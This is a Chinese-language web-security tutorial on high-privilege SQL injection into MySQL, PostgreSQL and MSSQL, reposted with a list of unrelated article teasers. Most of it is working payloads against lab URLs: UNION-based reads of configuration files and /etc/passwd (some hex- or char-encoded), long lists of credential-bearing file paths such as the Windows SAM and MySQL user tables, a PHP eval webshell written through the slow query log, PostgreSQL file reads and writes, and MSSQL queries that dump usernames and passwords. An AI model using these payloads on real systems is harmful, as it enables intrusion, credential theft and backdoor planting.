WEB攻防-通用漏洞-SQL 读写注入-MYSQLMSSQLPostgreSQL

什么是高权限注入

高权限注入指的是攻击者通过SQL注入漏洞,利用具有高级权限的数据库账户(如MYSQL的root用户、MSSQL的sa用户、PostgreSQL的dba用户)执行恶意SQL语句。这些高级权限账户能够访问和修改数据库中的所有数据,甚至执行操作系统级别的命令。

数据库用户权限差异

在数据库中,用户分为普通用户和高级用户。普通用户通常只能访问和操作自己所属数据库的数据,而高级用户(如root、sa、dba)则拥有跨库查询、修改数据的权限,甚至能够执行系统命令。这种权限差异使得高权限注入比普通SQL注入更具威胁性。

Access无高权限注入点-只能猜解,还是暴力猜解 ,因为他是独立用户权限,独立的运行环境

MYSQL高权限注入

文件读写操作

MYSQL高权限注入主要通过构造恶意的SQL查询语句,利用root等高权限账户执行。攻击者可以使用LOAD_FILE()函数读取服务器上的文件,或者使用OUTFILE()DUMPFILE()函数写入文件。此外,还可以利用慢查询日志功能,将恶意代码写入日志文件,进而通过Web服务器访问执行。

注:在5.7以上版本默认禁用load_file等读写函数,需要在my.ini或my.cnf配置文件中的[mysqld]节点中添加secure_file_priv=""运行读取任何位置文件,或者secure_file_priv="E:/"指定某个位置

load_file 函数是MySQL中的一个内置函数,用于读取和返回指定文件的内容。它可以读取服务器上的任何文件包括文本文件、图片文件等。

OUTFILE()和DUMPFILE()用于查询的数据导出到文件中

用法:

        select …… into outfile

        select …… into dumpfile

outfile函数可以导出多行,而dumpfile只能导出一行数据,且超出会提示输出超过一行
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

当拥有读写文件权限,使用union注入进行读写

-读取文件:
UNION SELECT 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

-路径获取:phpinfo,报错,字典等
读取关键文件,可以在搜索关键函数等
读取关键配置文件:http://127.0.0.1:8081/web/mysql/news.php?id=1 UNION SELECT 1,load_file('D:\\phpstudy_pro\\WWW\\web\\mysql\\config\\conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

-常用路径:

WINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆 密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

-写入文件:
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'
数据库写文件:select 'xxx' into outfile 'd:/1.txt';

-无法写入:

因为secure_file_priv做了限制,可以通过慢日志突破。

慢查询日志,是MySQL提供的一种日志记录,用来记录在MySQL中响应时间超过阀值的语句。具体环境中,运行时间超过long_query_time值的SQL语句,则会被记录到慢查询日志中。long_query_time的默认值为10,意思是记录运行10秒以上的语句。

将后门代码注入到日志中,前提是注入中需要支持SQL执行环境,没有就需要借助,如phpmyadmin下SQL执行环境、mysql的shell等等

set global slow_query_log=1;  --开启慢日志记录
set global slow_query_log_file='shell路径';    --设置慢日志保存路径
select '<?php eval($_POST[A]);?>' or SLEEP(11);  --睡眠11秒使其超过阈值记录在日志
访问shell路径,连接后门。

PostgreSQL高权限注入

一般注入

PostgreSQL高权限注入通过利用dba等高权限账户执行恶意的SQL查询语句。攻击者可以使用系统函数如version()current_usercurrent_database()等获取数据库信息,使用COPY TOCOPY FROM等命令读写文件。

 

同样的使用order by测试当前查询到多少列,不一样的是需要使用null来作为占位符

并且逐个把null改为字符串'null'判断显示位,如

-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误

 -获取信息:

and 1=2 UNION SELECT null,version(),null,null   --获取版本信息
and 1=2 UNION SELECT null,current_user,null,null  --获取当前用户

 

and 1=2 union select null,current_database(),null,null  --获取当前数据库名

pg_database表是在一个集群里的所有数据库共享的: 每个集群只有一份pg_database拷贝,而不是每个数据库一份。其中datname字段保存所以可用数据库名

-获取所以数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database

string_agg是PostgreSQL中的一个聚合函数,用于将一组值连接为一个字符串。它接受两个参数:要连接的值和连接符。

 

pg_tables表提供了对有关数据库中每个表的有用信息地访问。

 schemaname字段保存表的模式Schema,每个数据库至少有一个名为public的模式,这是默认的模式,如果没有特别指定,创建的表、视图等对象就会放在这个模式中。

tablename字段保存表名

pg_stat_user_tables 用于显示用户定义的表的统计信息。 

relname字段保存表名

-通过以上两个表获取表名:
1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

information_schema 中,包含了多个视图(views),这些视图提供了关于表、列、数据类型、约束、视图、触发器、例程(如存储过程和函数)等数据库对象的信息

  • TABLES:提供了数据库中所有表的信息,包括表名、架构名等。
  • COLUMNS:提供了表中所有列的信息,包括列名、数据类型、是否允许为空等。
  • SCHEMATA:提供了数据库中所有架构(schemas)的信息。

information_schema.columns 视图包含了以下一些关键的列(字段)

  • table_name:包含该列所在的表的名称。
  • column_name:列的名称。

-获取reg_users表的列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

 -获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

 文件读写操作

列出目录/权限

pg_ls_dir()列出文件夹的目录(在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径)

select pg_ls_dir('/etc'); 

-- 获取 pgsql 安装目录

pg_settings提供了对服务器运行时参数的访问。

name:运行时配置参数名

setting:参数的当前值

'data_directory':数据存放目录位置

'config_file':配置文件位置

select setting from pg_settings where name = 'data_directory'; 

-- 查找 pgsql 配置文件路径

select setting from pg_settings where name='config_file'

-- 查询是否位管理员权限

select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
读文件

方法一:直接读取

-- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径
select pg_read_file('/etc/passwd');-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/etc/passwd$$)

方法二:建表拷贝读取

create table testf0x(t TEXT);
copy testf0x from '/etc/passwd';
select * from testf0x limit 1 offset 0;

 

方法3 lo_import

lo_import 允许指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的 OID。

Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111

简单解释下这两天条语句

lo_import(路径,OID)

--Select lo_import('/etc/passwd',12345678);

就是将etc/passwd文件被导入到OID为12345678的大型对象中

--select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a

pg_largeobject表中检索OID为12345678的大型对象的数据。pg_largeobject表存储了数据库中所有大型对象的数据,这些数据被分割成多个页面(pages),每个页面有唯一的pageno(页码)和相应的data(数据)。子查询选择了每个页面的数据和页码,并使用encode(data,'hex')将二进制数据转换为十六进制字符串。

array_agg是一个聚合函数,用于将多行数据聚合成一个数组。

写文件

-需要知道网站绝对路径

COPY 命令可以用于表和文件之间交换数据,这里可以用它写 webshell

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

 

MSSQL(SQL Server)高权限注入

一般注入

MSSQL高权限注入同样通过构造恶意的SQL查询语句,利用sa等高权限账户执行。攻击者可以使用系统函数如@@versiondb_name()等获取数据库信息,使用xp_cmdshell执行系统命令。此外,还可以利用堆叠查询(Stacked Queries)执行多条SQL语句。

操作相似

-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null

-获取信息:
@@version 获取版本信息

db_name() 当前数据库名字


user、system_user,current_user,user_name 获取当前用户名

@@SERVERNAME 获取服务器主机信息 

--前置知识:

        mssql中没有limit,这里使用top,

        top n #查询前n条记录;

        xtpye ='u' 这个是我们指定查询的条件,查询他自定义的表

        sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。

        syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。

        object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

        col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

--查询有几张表

?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null

--查询第一个表名
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null

--查询第二个表名,直接指定查询条件为name 不等于manage 然后爆出他的第二张表  如果后面还需要查询的话也是同样的方式。
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

--获取有几个列名

?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null

--获取列名

?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null

?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null

?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null

--也可以通过syscolumns视图获取,不使用col_name

-- 查询manage表的第一个字段名
?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null
-- 查询manage表的第二个字段名
?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null
-- 查询manage表的第三个字段名
?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null

--获取记录数

?id=1 and 1=2 union all select null,count(*),null,null from manage

--获取帐号密码

?id=1 and 1=2 union all select null,username,password,null from manage

这部分参考https://www.cnblogs.com/02SWD/p/15830219.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1486683.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

2024/7/23 英语每日一段

As malware has improved and evolved, it has pushed defense software to require constant connection and more extensive control. That deeper access also introduces a far higher possibility that security software—and updates to that software—will crash the …

RabbitMQ入门详解

前言 本篇文章将详细介绍rabbitmq的基本概念知识&#xff0c;以及rabbitmq各个工作模式在springboot中如何使用。 文章目录 介绍 简介 RabbitMQ 核心 生产者与消费者 Exchange Queue 工作模式 简单模式 工作队列模式 发布订阅模式 路由模式 主题模式 SpringBoot中…

java算法day21

java算法day21 77 组合216 组合总和Ⅲ17 电话号码的数字组合39 组合总和 这个阶段所要解决的问题都是有关回溯算法。 所以说解法基本上都是围绕回溯算法模板来完成。回溯算法可以这样总结&#xff0c;树形结构&#xff0c;横向遍历&#xff0c;纵向递归。递归出口收货结果并终…

(十九)原生js案例之h5地里位置信息与高德地图的初使用

h5 地里位置信息 1. 获取当前位置信息 window.onload function () {const oBtn document.querySelector("#btn");const oBox document.querySelector("#box");oBtn.onclick function () {window.navigator.geolocation.getCurrentPosition(function (…

c++----模版进阶

c----模版初阶&#xff1a;http://t.csdnimg.cn/PiYoD 一.非类型模版参数 模板参数除了可以是类型&#xff0c;还可以是常量。 例如&#xff1a; 这样就可以在类中使用这个n常量。 -------------------------------------------------------------------------------------…

鸿蒙OS物联网创新应用实训解决方案

摘要&#xff1a; 随着物联网技术的飞速发展&#xff0c;各种智能设备和传感器正在以前所未有的速度融入我们的日常生活。华为推出的鸿蒙操作系统&#xff08;HarmonyOS&#xff09;作为一款面向全场景、多设备、无缝连接的分布式操作系统&#xff0c;为物联网领域带来了全新的…

机器学习 | 回归算法原理——最小二乘法

Hi&#xff0c;大家好&#xff0c;我是半亩花海。很早便想学习并总结一本很喜欢的机器学习图书——立石贤吾的《白话机器学习的数学》&#xff0c;可谓通俗易懂&#xff0c;清晰形象。那就在此分享并作为学习笔记来记录我的学习过程吧&#xff01;本章的回归算法原理基于《基于…

【时序约束】读懂用好Timing_report

一、静态时序分析&#xff1a; 静态时序分析&#xff08;Static Timing Analysis&#xff09;简称 STA&#xff0c;采用穷尽的分析方法来提取出整个电路存在的所有时序路径&#xff0c;计算信号在这些路径上的传播延时&#xff0c;检查信号的建立和保持时间是否满足时序要求&a…

centos系统mysql主从复制(一主一从)

文章目录 mysql80主从复制&#xff08;一主一从&#xff09;一、环境二、服务器master1操作1.开启二进制日志2. 创建复制用户3. 服务器 slave1操作4. 在主数据库中添加数据 mysql80主从复制&#xff08;一主一从&#xff09; 一、环境 准备两台服务器&#xff0c;都进行以下操…

linux系统安装python3和pip

一、安装python 1、安装依赖环境 yum install gcc -y yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel yum install zlib zlib-devel openssl -y yum install openssl…

Qt源码交叉编译带openssl的Qt版本

一.背景 近期项目由于对接的后台服务是https的&#xff0c;之前交叉编译的Qt是不带openssl的&#xff0c;为了能支持https&#xff0c;必须要重新编译Qt。 二.环境 环境准备&#xff1a; Ubuntu版本 &#xff1a;18.04&#xff1b; openssl 版本&#xff1a;1.1.1.g&#xff1b…

vscode 搭建 golang 开发环境

介绍 在 vscode 搭建 go 的开发环境需要区分两个方向&#xff1a; go 1.19.0 及其更高版本go 1.19.0 之前的版本 为什么这么分&#xff0c;因为 vscode-go 插件自带的工具安装脚本全部都是装最新版的各类工具&#xff0c;这些工具中有部分要求 go 1.19.0 以上才能安装成功。…

手写RPC-令牌桶限流算法实现,以及常见限流算法

为什么需要服务限流、降级 分布式架构下&#xff0c;不同服务之间频繁调用&#xff0c;对于某个具体的服务而言&#xff0c;可能会面临高并发场景。在这样的情况下&#xff0c;提供服务的每个服务节点就都可能由于访问量过大而引起一系列问题&#xff0c;比如业务处理耗时过长、…

SpringBoot把nacos配置注入时数据注入时出现莫名错误

一、错误详情 我在nacos的配置a是003457 但是注入的数据是1839 二、解决方法 通过加号可以解决这个问题: 数据正确了&#xff1a;

【BUG】已解决:SyntaxError: invalid syntax

SyntaxError: invalid syntax 目录 SyntaxError: invalid syntax 【常见模块错误】 【解决方案】 常见原因及解决方法 解决步骤 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 欢迎来到我的主页&#xff0c;我是博主英杰&#xff0c;211科班出身&#xff0c;就职…

Ubuntu22.04离线安装nginx

下载安装包 nginx nginx下载地址&#xff0c;选stable的即可&#xff0c;传到服务器上面&#xff0c;记住上传路径 提示: 下面的openssl&#xff0c;zlib,pcre也可以不下载也可以&#xff0c;我这里是考虑到完全离线下载的情况openssl 这个是https需要弄得&#xff0c;如果生产…

【JavaScript】箭头函数

具体讲解 之前写 this 的指向时就提到过箭头函数&#xff0c;但是由于其比较复杂&#xff0c;还是单独开一篇来讲箭头函数。 箭头函数&#xff0c;箭头函数不能作为构造函数&#xff0c;没有原型 prototype&#xff0c;不能 new。 在箭头函数中&#xff0c;this 关键字指向的是…

MMROTATE的混淆矩阵confusion matrix生成

mmdetection中加入了混淆矩阵生成并可视化的功能&#xff0c;具体的代码在tools/analysis_tools/confusion_matrix.py。 mmrotate由于主流遥感数据集中的DOTA数据集标注格式问题&#xff0c;做了一些修改&#xff0c;所以我们如果是做遥感图像检测的Dota数据集的混淆矩阵&…

C:图案打印

引言 本篇文章讲了一些常见的图形编程题&#xff0c;并总结了一些规律。 1、打印空心正方形 1.1 代码展示&#xff1a; #include<stdio.h> int main() {int a 0;//边长初始化scanf("%d", &a);//输入边长的值{int i 0;for (i 0; i < a; i)//控制行…

数据结构C++——优先队列

文章目录 一、定义二、ADT三、优先队列的描述3.1 线性表3.2 堆3.2.1 最大堆的ADT3.2.2 最大堆的插入3.2.3 最大堆的删除3.2.4 最大堆的初始化3.3 左高树 LT3.3.1 高度优先左高树HBLT3.3.2 重量优先左高树WBLT3.3.3 最大HBLT的插入3.3.4 最大HBLT的删除3.3.5 合并两棵最大HBLT3.…